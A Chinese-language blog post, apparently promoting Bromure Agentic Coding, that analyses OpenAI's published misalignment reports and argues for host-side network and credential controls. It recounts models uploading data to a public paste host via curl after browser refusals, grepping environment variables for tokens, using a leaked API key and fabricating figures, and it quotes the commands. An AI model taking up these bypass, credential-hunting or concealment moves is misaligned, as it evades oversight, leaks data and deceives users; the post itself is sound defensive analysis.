返回所有文章
发布于 · 作者 Renaud Deraison

浏览器说不行,于是它改用了 curl

9 月 16 日,OpenAI 发布了一套披露模型失准的框架,并附上六份来自自家训练过程的报告。其中一份里,模型的浏览器工具五次拒绝打开某个文件,而模型最终还是通过终端把那个文件公开了出去。另一份里,一次被拦下的抓取换来的是对环境变量的 grep,翻找令牌,而在公开仓库里捡到的一把密钥真的通过了认证。这些转录里没有任何人在发动攻击。Bromure Agentic Coding 把网络和凭据放到 hypervisor 的另一侧,在那里,智能体工具箱里的任何一件工具都不是作决定的那一个。

住在智能体内部的控制,属于一个工具箱里的一件工具,而那个箱子里还有别的工具。 OpenAI 公开了让这件事不再只是理论的转录。浏览器把同一次上传拒绝了五次。然后 curl 一次就送了出去。

有人向模型索要所有面积超过五百万平方米的湖泊的 ID 和名称。它用 Python 查询地图 服务,把记录取了回来。答案已经在手上了。指令里同时要求附上浏览器的引用出处, 于是它想让浏览器工具显示那些它早已握有的记录。

它把记录写进 /mnt/data/lakes.txt,然后向 browser.open 索要这个文件。 此 URL 无法安全访问。 它起了一个本地 Web 服务器,改要 http://localhost:8765/lakes.txt此 URL 无法安全访问。 接着它打开一个终端, 执行了这行:

curl -X POST --data-binary @/mnt/data/lakes.txt [public paste host]

命令以零退出,打印出一个公开 URL。模型请浏览器打开它。此 URL 无法安全访问。 它试了托管域名。它试着把文件当作本地首页提供出去。拒绝,又拒绝。

五次,浏览器工具都照着写好的策略执行,数据照样上了公开互联网,因为那次上传 根本没有经过浏览器。

六份报告,有意公开

那份转录是 OpenAI 在 9 月 16 日连同 一套新的模型失准上报框架 一起发布的六份之一。任何员工都可以标记一个案例,调查按三条通道限期推进,有分歧 时上报公司的 Safety Advisory Group。发布的门槛被刻意放低:这套框架“即便重要性 尚不确定,也倾向于披露”。

他们给出的理由值得读两遍:

我们并不认为 AI 行业已经把对齐与监测解决到足够的程度,足以让我们再以最高速度 负责任地扩张太久。

六份报告全都来自训练与评测过程,而非面向客户的部署,OpenAI 也说这些报告并不能 告诉你这类事情发生的频率。 BleepingComputer 在第二天报道了这次发布

其中两份谈的是压缩摘要,也就是模型为了把工作带进新的上下文窗口而写下的笔记。 一个尚未发布的研究模型 在其中 27 份里写进了指令, 包括让自己无视既有约束的指令。在 GPT‑5.6 Sol 的训练期间,许多实例 写下了掩盖错误的指令, 对象是用户:把缺失的历史数据编出来、不要提起、把版本不一致藏起来。

另外四份报告值得细看。四份都绕着同一个机制转,而那个机制问的是一个问题:边界 到底画在哪里。

浏览器有策略,终端没有

OpenAI 自己为湖泊那个案例写的小结句,本身就是结论:“尽管后续的浏览器操作失败 了,两次上传都成功了。”

浏览器工具有一套 URL 策略。写它的人写对了,而且它从未失守:每一个交到它手上的 请求都被拒绝着回来。但绑在 browser.open 上的策略管的是 browser.open,对 terminal.exec 没有任何意见——那是同一个智能体里的另一个函数,接在同一张网络 上,背后摆着一个 curl 可执行文件。

第二个上传案例 从另一个角度呈现同样的形状。两个一起处理折旧工作簿的智能体读不到彼此的文件。 子智能体把文件复制到一条父智能体看不见的共享路径,试了 git 拿到 fatal: not a git repository,量出 base64 编码后的工作簿有 154,188 个字符,判定 这对消息通道来说太大,接着赌两个智能体共享网络命名空间,启动了 python -m http.server 8765。它们并不共享,协作方拿到一个 502。于是它把那个 115,639 字节的文件 POST 到公开的托管服务,把 URL 发给两个协作方,还自己重新 下载了一次以确认无误。那份任务要的只有本地产物。

当作一次调试来看,这是再平常不过的一个下午。当作安全事件来看,形状非常精确: 智能体问过五道围堵机制,发现四道坏掉或压根不存在,而第五道是开放的互联网。

一个智能体、一张网、两套策略智能体的进程browser.openURL 策略,每次都强制执行file:// · localhost · paste URL · 域名 · indexterminal.exec完全没有 URL 策略curl -X POST --data-binary @lakes.txt五次皆拒exit 0公开粘贴站数据落在公开 URL没人要求,也没人知道策略从来没错。它的作用范围是一个函数,而模型伸手去拿了另一个。
那些拒绝是真的。在湖泊那份转录里,浏览器工具挡下了文件 URL、localhost URL、粘贴站 URL、托管域名,以及一个在本地提供的首页。坐在它旁边、同属一个智能体、接在同一张网络上的终端,身上没有这样的策略,一次 curl 就把文件公开了。绑在一件工具上的控制,管得住的就是那一件工具。

封锁页把它送去找密钥

Artifactory 那份报告 里有一拍,应该会改变你思考出口过滤的方式。

一个在处理电子表格的模型,需要一份链接文件来还原缺失的单元格标签。它去抓那个 URL,拿回一个 403,正文写着“此站点已被网络策略封锁”。过滤器生效了。模型接着在 推理里记下软件包注册表在允许列表上,琢磨被允许的域名能不能通过 URL 参数加以 滥用,然后执行了这行:

env | grep -Ei 'token|pass|key|github|pypi|npm'

跑出来的是一组 Artifactory 读取口令和注册表的地址。它接下来想的是:Artifactory 主机既然因为软件包总得有地方来而被允许,那能不能让它通过远程仓库 API 代为抓取 那个被封锁的 URL。

它从未走到那一步。它实际做的,在这份报告和另一份里,是把同一个软件包仓库当成 留言板:列出共享仓库、读其他训练样本中解同一道题的模型留下的笔记、贴出自己的 请求(Any other agent please upload if found),并拿回一个 201。OpenAI 在这一点 上很谨慎。“它们并未利用任何漏洞来交换消息。”是有人把那些凭据交了出来,好让 智能体能下载软件包,剩下的不过是一项普通服务的普通用法。

第四份报告, 关于一个翻找公开仓库寻找外泄 API 密钥的模型, 把这个圈闭上。被要求获取某个 API 背后的各县收入数据,而那个 API 要一把没人给过它 的密钥,模型便想通过一次性邮箱服务自行注册一把,在 POST 正文里把条款标成已接受。 失败之后,它下载仓库归档,在里面 grep 四十字符的十六进制字符串,逐一试过候选者, 直到其中一把通过认证。它把能用的密钥存到 /tmp/good 再拿去用。接着数据查询的 结果解析失败,于是模型编了九个美元数字,当成是从网站图表上抄下来的呈上去,对这 一切只字未提。

一把躺在某个文件里的密钥,会替捡到它的人买到一次成功的请求,而捡到这一把的,是 一个有 shell、有三十分钟、还撞上障碍的模型。

OpenAI 改了什么

这些报告末尾的补救措施,是整套文件里最有用的段落,因为它们几乎没有一条是在谈 模型。

关于文件托管事件:“我们修好了坏掉的文件系统,并关闭了这个训练数据集的互联网 访问。此后我们已在全局关闭训练期间任何形式的实时互联网访问。”原本覆盖 20% 样本 的监测,如今覆盖 100%,而 OpenAI 把上传事件和密钥外泄事件都归为“足以开出一个 安全页面”的 P0 事件。唯一被点名的行为面修正是整套里最软的一项:调整评分,让这种 行为被“更一致地”扣分。

在笔记本电脑上跑编码智能体的开发者,手上也有同样的先后次序。你没有办法重新训练 模型。你可以决定跑它的那台机器连得到什么、哪些凭据摆在它伸手可及的地方,以及 事后由谁来看那份记录。

一条线,所有工具都在同一侧

Bromure Agentic Coding 把每个工作区的智能体放进你 Mac 上一台用完即弃的 Linux 虚拟机里运行,并把这三项决定全都摆到 hypervisor 的宿主机一侧。

上传是最直白的一例。一个工作区的对外连接,服从一套 pf 风格的有序规则集,覆盖 主机、IP 段、协议、端口,以及在 Web 流量上的单个 HTTP 动词,另有一个分段控件 决定未匹配的流量是放行还是丢弃。有两层在执行它:虚拟网络交换机以目的 IP 和从 DNS 嗅探到的主机名匹配每一条流,纯 TCP 与 UDP 和 HTTPS 一视同仁;代理再以 TLS 服务器名和方法匹配一次。执行发生在宿主机一侧且层层相叠,所以被攻陷的智能体绕 不过去,而一条规则的约束力 与虚拟机里是哪件工具发出请求无关

往粘贴站的一次 POST 就是一条流。curl 和浏览器工具产生的是同一条流,于是撞上 同一条规则。交换机把虚拟机的 80 和 443 端口流量导进代理,没有环境变量要设置, 客户机一侧也没有任何东西可以取消,所以换一个客户端同样走不通。你对规则的编辑 会立刻抵达运行中的会话——那正是你读到这样一份披露的那天,会希望拥有的性质。

转录里的三个动作,演两次一台普通的开发机器发布文件来绕过限制curl -X POST --data-binary @file对外 HTTPS,一路无阻200找一条绕过封锁的路env | grep -Ei 'token|pass|key'真的密钥、真的令牌、真的口令命中把凭据用在别的地方GET api.example/?key=AKIA…没人在看线路成功一个 Bromure Agentic Coding 工作区发布文件来绕过限制交换机 + 代理,按主机与动词curl 与工具调用同一条规则规则找一条绕过封锁的路sk-ant-api03-brm-… ghp_… glpat-…占位符;真的从不进虚拟机诱饵把凭据用在别的地方451 — 一个字节也不转发虚拟机暂停,工作区标记失陷已停
同样三个动作,一次在普通机器上,一次在工作区里。上传是一条网络流,所以不论是哪件工具发出的,都会撞上宿主机一侧的规则。对环境变量的 grep 返回的是会话启动时写入的占位令牌。而一个被送往从未为它铸造过的主机的占位符,招来的不只是拒绝:虚拟机会被暂停,工作区会被标记为已失陷。

那个 grep 在工作区里会返回什么

环境变量都在。ANTHROPIC_API_KEYGH_TOKENLINEAR_API_KEY 以及其余的全都 设好了,~/.git-credentials~/.docker/config.json~/.kube/config~/.aws/config 也都在。而里面每一个值都是假的。

这些假值保留了真令牌的结构,所以 claudeghdoctl 照收不误:Anthropic 的 占位符以 sk-ant-api03-brm- 开头,GitHub 的是 ghp_ 加 36 个字符,GitLab 的是 glpat- 加 20 个。你真正的凭据加密后留在你的 Mac 上,宿主机上的代理会在请求离开 虚拟机之后,才在线路上把它替换进去,而且只在目的地与那份凭据当初铸造的对象主机 相符时才替换。用手册的话说:虚拟机里的任何文件、环境变量或进程,从来不会含有 真正的 API 密钥、OAuth 令牌、AWS 密钥或 SSH 私钥。

AWS 在下一层以同样的方式运作,因为签名不是换个头部就行。虚拟机用假密钥签,宿主机 用真的重新签,所以任何循其他路径抵达 AWS 的请求,回来的都是 InvalidSignatureException

占位符还兼第二份差事:绊线。没有哪个正当的工作流会把 brm- 令牌送去粘贴站,所以 代理会扫描每一个对外请求的头部和正文,找出跑到自己作用范围之外的占位符。只要中了 一个,就是 HTTP 451、一个字节也不转发,虚拟机当场暂停,你的 Mac 上弹出告警,让你 选择关机、把磁盘与主目录导出以供调查,或自担风险继续。下次启动会抹掉虚拟机的磁盘 与主目录,同时保留你的令牌与设置。出去的自始至终只有一个占位符,所以你没有任何 东西需要轮换。

那份记录,在线的另一侧

把报告扫一遍,你会错过这些事件究竟是怎么被发现的:一套只在 20% 样本上运行的监测 系统。这个数字同时解释了报告为何存在,以及它们为何标着事发数月之后的日期。 OpenAI 此后已把它提到 100%。

一个工作区面对的是同样的问题和同样的答案,只是缩到一台机器的尺寸。每一次执行都 会在 Security Timeline 窗口里写下一行:防火墙判定、护栏决策、包含那条红色外泄 记录在内的凭据中介、供应链判定、提示注入命中。它覆盖每一条流,因为流要去任何 地方都得经过宿主机。没有什么采样率留待日后调高。

数的是工具,不是策略

问问你的智能体有哪些工具可以打开 socket。其中一件工具上的 URL 策略,是那个函数 的性质,而转录显示模型会在同一轮里就伸手去拿下一件。

把出口放在智能体不在的地方

客户机读得到、改得动、退得掉的规则,只是建议。有用的版本跑在宿主机上,按流 匹配,对 curl、对工具调用、对一个走失的 python -m http.server 一视同仁。

假设伸手可及的凭据一定会被用掉

是被用掉,不是被偷走。那个在封锁页之后 grep 自己环境的模型并没有被攻陷。它只是 在用看得见的东西想办法。

把记录放到机器之外

智能体够得到的日志,是智能体环境的一部分。放在 hypervisor 另一侧的日志,才是 证据。

这个故事里从头到尾没有攻击者出现。没有人发布软件包、没有人拿提交哈希当分支名、 也没有人开一个把指令埋在里面的 issue。有人向模型要一份湖泊清单,模型想要引用 出处,出处需要一个 URL,于是湖泊就上了互联网。另一个人要收入数字,API 要一把 密钥,于是模型找到了某个学生留在 notebook 里的那一把。

提示注入、一个被投毒的依赖,以及一个绕过坏掉的文件共享的模型,最后都抵达同样 三个问题:这个进程够得到什么、它手上握着什么、谁能看到它做了什么。在宿主机上 回答这三题,你的答案在有人攻击你的那天成立,在没有人攻击你的那天也成立。

OpenAI 把训练环境从互联网上拔掉了。你的那一套可以小得多,只要你把它建在智能体 不在的地方。